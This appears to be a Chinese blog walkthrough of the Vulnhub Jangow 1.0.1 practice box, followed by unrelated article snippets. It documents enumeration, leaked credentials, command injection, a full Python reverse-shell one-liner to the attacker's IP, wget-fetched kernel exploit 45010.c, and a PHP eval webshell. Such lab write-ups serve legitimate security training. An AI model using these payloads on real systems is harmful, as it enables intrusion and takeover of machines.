Vulnhub靶场 Jangow: 1.0.1 练习

ops/2024/11/25 13:38:40/

目录

  • 0x00 准备
  • 0x01 主机信息收集
  • 0x02 站点信息收集
  • 0x03 漏洞查找与利用
  • 0x04 总结


0x00 准备


下载链接:https://download.vulnhub.com/jangow/jangow-01-1.0.1.ova

介绍:

Difficulty: easy

The secret to this box is enumeration! Inquiries jangow2021@gmail.com

This works better with VirtualBox rather than VMware ## Changelog 2021-11-04 - v1.0.1 2021-11-01 - v1.0.0



0x01 主机信息收集


kali本机的ip:192.168.119.128

探测目标主机IP:netdiscover -i eth0 -r 192.168.119.0/24
目标主机IP:192.168.119.134

探测目标主机开放端口:nmap -sV -p 1-65535 -A 192.168.119.134
在这里插入图片描述


开放了21端口,vsftp3.0.3版本。80端口,apache2.4.18版本。



0x02 站点信息收集


访问80端口,探测站点的目录结构:dirsearch -u 192.168.119.134
在这里插入图片描述


一个site目录,还有/.backup目录。

进入site目录是一个站点的首页:
在这里插入图片描述


再看一下/.backup页面:
在这里插入图片描述


看到了数据库相关的信息,并且是mysql数据库,这里保存一下获取到的信息:

$servername = "localhost";
$database = "jangow01";
$username = "jangow01";
$password = "abygurl69";


0x03 漏洞查找与利用


1. 命令执行


看站点上的信息,右上角Menu菜单这里有三个菜单,About,Project,Buscar。

点击About时,URL是:http://192.168.119.134/site/#about
点击Project时,URL是:http://192.168.119.134/site/#projects
点击Buscar时,URL是:http://192.168.119.134/site/busque.php?buscar=

有个等号,并且页面是空白页:
在这里插入图片描述


考虑传参。传了个1,还是空白页。换思路,传了个ifconfig,有查出网络配置的信息:
在这里插入图片描述


又换了个whoami:
在这里插入图片描述


2. 反弹shell


这里有命令执行了,尝试一下反弹shell。

先在kali中监听端口9898:nc -lvvp 9898


再在浏览器中访问:http://192.168.119.134/site/busque.php?buscar=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.119.128",9898));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

结果一直无法监听。



改成443端口就可以监听成功。

先在kali中监听端口443:nc -lvvp 443

再在浏览器中访问:http://192.168.119.134/site/busque.php?buscar=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.119.128",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

监听成功:
在这里插入图片描述



3. 提权


查看一下系统的相关信息。

查看内核版本:uname -a

查看发行版本:lsb_release -a
在这里插入图片描述


内核版本是ubuntu 4.4.3-31 ,发行版本是 ubuntu 16.04。

搜索一下相关的漏洞:searchsploit Ubuntu 4.4.0-31
在这里插入图片描述


这里我们要进行提权,所以选择45010.c这个试一下。

这个脚本的完整路径是/usr/share/exploitdb/exploits/linux/local/45010.c

编译这个脚本:gcc /usr/share/exploitdb/exploits/linux/local/45010.c -o abc


接下来就是将abc这个文件传到目标主机上。

kali机器上用python创建一个简单的http服务器:python2 -m SimpleHTTPServer 443 (由于靶机的限制,这里只能用443端口)

在靶机上,先进入临时目录:cd /tmp

再执行:wget http://192.168.119.128:443/abc
在这里插入图片描述



这时候如果直接运行abc的话,会提示权限不足。所以先给这个文件加一个执行权限:chmod +x abc
在这里插入图片描述



结果提示GLIBC_2.34没有找到,这是因为编译是在kali下面完成的,是这个版本,但是目标主机没有这个版本。所以应该直接把编译前的文件传到目标靶机中,在靶机中编译。

kali中,把45010.c移动到开http服务的目录下:cp /usr/share/exploitdb/exploits/linux/local/45010.c .

在靶机的tmp目录下执行:wget http://192.168.119.128:443/45010.c

编译这个文件:gcc 45010.c -o exp
在这里插入图片描述



运行exp文件:./exp
在这里插入图片描述


提权成功

4. 补充


4.1 其他思路


做完后,参考了前辈们的文章,在目标主机给buscar参数传值进行命令执行的时候,可以上传一句话:echo '<?php eval($_POST["pass"]);' > shell.php

再用蚁剑连接:http://192.168.119.134/site/shell.php

在这里进行传文件等操作。



另外,还可以在wordpress目录下查看配置文件 config.php的内容,这里面也有一对账号密码。这样就收集到了两对账号密码。在前面端口扫描的时候开放了ftp服务,可以尝试用这两对账号密码进行frp登录尝试:ftp 192.168.119.134

backup文件中的账号密码可以登录成功。



4.2 问题


在反弹shell的时候,只能监听443端口。这里应该是因为目标主机的防火墙或系统策略限制目标主机必须使用特定的出站端口,若目标主机强制出站端口为 443,则攻击者必须监听在 443。



0x04 总结


主机信息收集:

  1. netdiscover探测目标主机ip。
  2. nmap探测开放的端口和服务。

站点信息收集:

  1. 扫描站点目录。
  2. 发现账号密码敏感信息。
  3. 发现命令执行的点。

漏洞利用:

  1. 命令执行处进行反弹shell。
  2. 获取系统的版本信息,进行内核提权




http://www.ppmy.cn/ops/136580.html

相关文章

[Unity Demo]从零开始制作空洞骑士Hollow Knight第二十集:制作专门渲染HUD的相机HUD Camera和画布HUD Canvas

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、制作HUD Camera以及让两个相机同时渲染屏幕二、制作HUD Canvas 1.制作法力条Soul Orb引入库2.制作生命条Health读入数据3.制作吉欧统计数Geo Counter4.制作…

【jvm】从字节码角度看待对象创建流程

目录 1. 分配内存空间2. 初始化内存空间为零值3. 设置对象头4. 调用构造函数初始化对象5. 示例代码6. 字节码指令解析 1. 分配内存空间 1.在Java中&#xff0c;对象存储在堆&#xff08;Heap&#xff09;内存中。2.当创建一个新对象时&#xff0c;JVM首先需要为对象分配一块内…

ONNX 输入batch修改

ONNX 输入batch修改 导出的onnx模型分为静态和动态输入两种&#xff0c;但一般用户会在导出后进行onnxsim操作&#xff0c;导致某些非全卷积的模型修改batch失败&#xff0c;比如transformer类其中reshape的attr属性会固定&#xff0c;修改相当麻烦&#xff0c;需要从源头重新…

Git命令使用与原理详解

1.仓库 # 在当前目录新建一个Git代码库 $ git init ​ # 新建一个目录&#xff0c;将其初始化为Git代码库 $ git init [project-name] ​ # 下载一个项目和它的整个代码历史 $ git clone [url]2.配置 # 显示当前的Git配置 $ git config --list ​ # 编辑Git配置文件 $ git co…

UE5 slate BlankProgram独立程序系列

源码版Engine\Source\Programs\中copy BlankProgram文件夹&#xff0c;重命名为ASlateLearning&#xff0c;修改所有文件命名及内部名称。 ASlateLearning.Target.cs // Copyright Epic Games, Inc. All Rights Reserved.using UnrealBuildTool; using System.Collections.Ge…

Java的包装类及其缓存机制

Java的包装类及其缓存机制 ​ Java 的包装类&#xff08;Wrapper Classes&#xff09;是为每种基本数据类型提供的对象表示。基本数据类型&#xff08;如 int、double 等&#xff09;是非对象类型&#xff0c;而包装类为它们提供了对应的对象版本&#xff0c;以便可以在需要对…

手撕一个阻塞队列

目录 手撕一个阻塞队列代码讲解 手撕一个阻塞队列 要手撕一个阻塞队列&#xff1a;就要实现一个普通的队列&#xff0c;加上阻塞&#xff0c;加上锁 代码 class MyBlockingQueue{private String[] elemsnull;private int tail0;private int head0;private int size0;private…

鸿蒙NEXT开发-Navigation组件导航

注意&#xff1a;博主有个鸿蒙专栏&#xff0c;里面从上到下有关于鸿蒙next的教学文档&#xff0c;大家感兴趣可以学习下 如果大家觉得博主文章写的好的话&#xff0c;可以点下关注&#xff0c;博主会一直更新鸿蒙next相关知识 专栏地址: https://blog.csdn.net/qq_56760790/…